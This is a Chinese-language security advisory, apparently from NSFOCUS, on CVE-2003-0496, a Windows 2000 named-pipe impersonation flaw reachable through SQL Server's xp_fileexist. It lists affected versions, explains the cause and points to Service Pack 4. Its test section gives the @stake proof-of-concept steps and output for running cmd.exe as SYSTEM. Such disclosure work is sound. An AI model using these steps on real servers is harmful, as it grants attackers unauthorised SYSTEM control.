首页 -> 安全研究

安全研究

安全漏洞
Windows有名管道文件名本地权限提升漏洞

发布日期:2003-07-06
更新日期:2003-07-11

受影响系统:
Microsoft SQL Server Desktop Engine 2000
Microsoft SQL Server Desktop Engine (MSDE) 1.0
Microsoft SQL Server 7.0 SP4
Microsoft SQL Server 7.0 SP3 alpha
Microsoft SQL Server 7.0 SP3
Microsoft SQL Server 7.0 SP2 alpha
Microsoft SQL Server 7.0 SP2
Microsoft SQL Server 7.0 SP1 alpha
Microsoft SQL Server 7.0 SP1
Microsoft SQL Server 7.0 alpha
Microsoft SQL Server 7.0
Microsoft SQL Server 6.5
Microsoft SQL Server 6.0
Microsoft SQL Server 2000 SP3
Microsoft SQL Server 2000 SP2
Microsoft SQL Server 2000 SP1
Microsoft SQL Server 2000
    - Microsoft Windows 2000 Server SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000 Server
    - Microsoft Windows 2000 Professional SP3
    - Microsoft Windows 2000 Professional SP2
    - Microsoft Windows 2000 Professional SP1
    - Microsoft Windows 2000 Professional
    - Microsoft Windows 2000 Datacenter Server SP3
    - Microsoft Windows 2000 Datacenter Server SP2
    - Microsoft Windows 2000 Datacenter Server SP1
    - Microsoft Windows 2000 Datacenter Server
    - Microsoft Windows 2000 Advanced Server SP3
    - Microsoft Windows 2000 Advanced Server SP2
    - Microsoft Windows 2000 Advanced Server SP1
    - Microsoft Windows 2000 Advanced Server
描述:
CVE(CAN) ID: CVE-2003-0496

Microsoft Windows是微软开发的视窗操作系统。

通过指定文件代替有名管道名作为SQL Server xp_fileexist存储扩展的参数,可导致以用户帐户SQL权限或者其他服务进程权限运行此文件,可能导致权限提升。

漏洞是由于CreateFile系统调用的操作和可劫持冒充Windows有名管道。API调用CreateFile用来打开或建立文件,有名管道,Mail slot等,不过没有任何机制来限制这个API调用打开何种资源。WIN32中多数服务运行在系统帐户下并以一定方式处理文件,如果可以通过指定文件让服务打开的方法,就可能以此服务的帐户运行。另外如果使用了UNC路径,在冒充管道客户端前就不需要在有名管道上进行读操作。

通过Microsoft SQL服务器可方便利用此漏洞,因为SQL服务器有大量过程调用可以指定要使用的文件,如使用xp_fileexist,这个扩展存储过程可以全局可执行,通过建立任意名的有名管道服务器并使用有名管道的UNC名作为参数执行xp_fileexit,就可以冒充SQL服务器帐户权限执行文件。

其他服务也可能存在此类漏洞。

<*来源:Andreas Junestam (andreas@atstake.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105768207226250&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Andreas Junestam (andreas@atstake.com)提供了如下测试方法:

下面是@tstake提供的测试过程,Mssqlpipe.exe是可以建立有名管道的程序,等待客户连接,然后冒充客户端帐户角色,然后指定命令行指定的程序:

- - From command shell #1:


C:\>mssqlpipe.exe cmd.exe
Creating pipe: \\.\Pipe\atstake
Pipe created, waiting for connectection
Connect to the database (with isql for example) and execute:
xp_fileexist '\\SERVERNAME\pipe\atsstake'
  
Then in command shell #2:


C:\>isql -U andreas
Password:
1> xp_fileexist '\\TEMP123\pipe\atstake'
2> go
   File Exists File is a Directory Parent Directory Exists
   ----------- ------------------- -----------------------
             1 0 1
  
然后返回到command shell #1:

冒充用户成功,命令以SYTEM用户权限运行。

建议:
厂商补丁:

Microsoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

下载安装Windows service pack 4:

http://www.microsoft.com/Windows2000/downloads/servicepacks/sp4/

浏览次数:4008
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障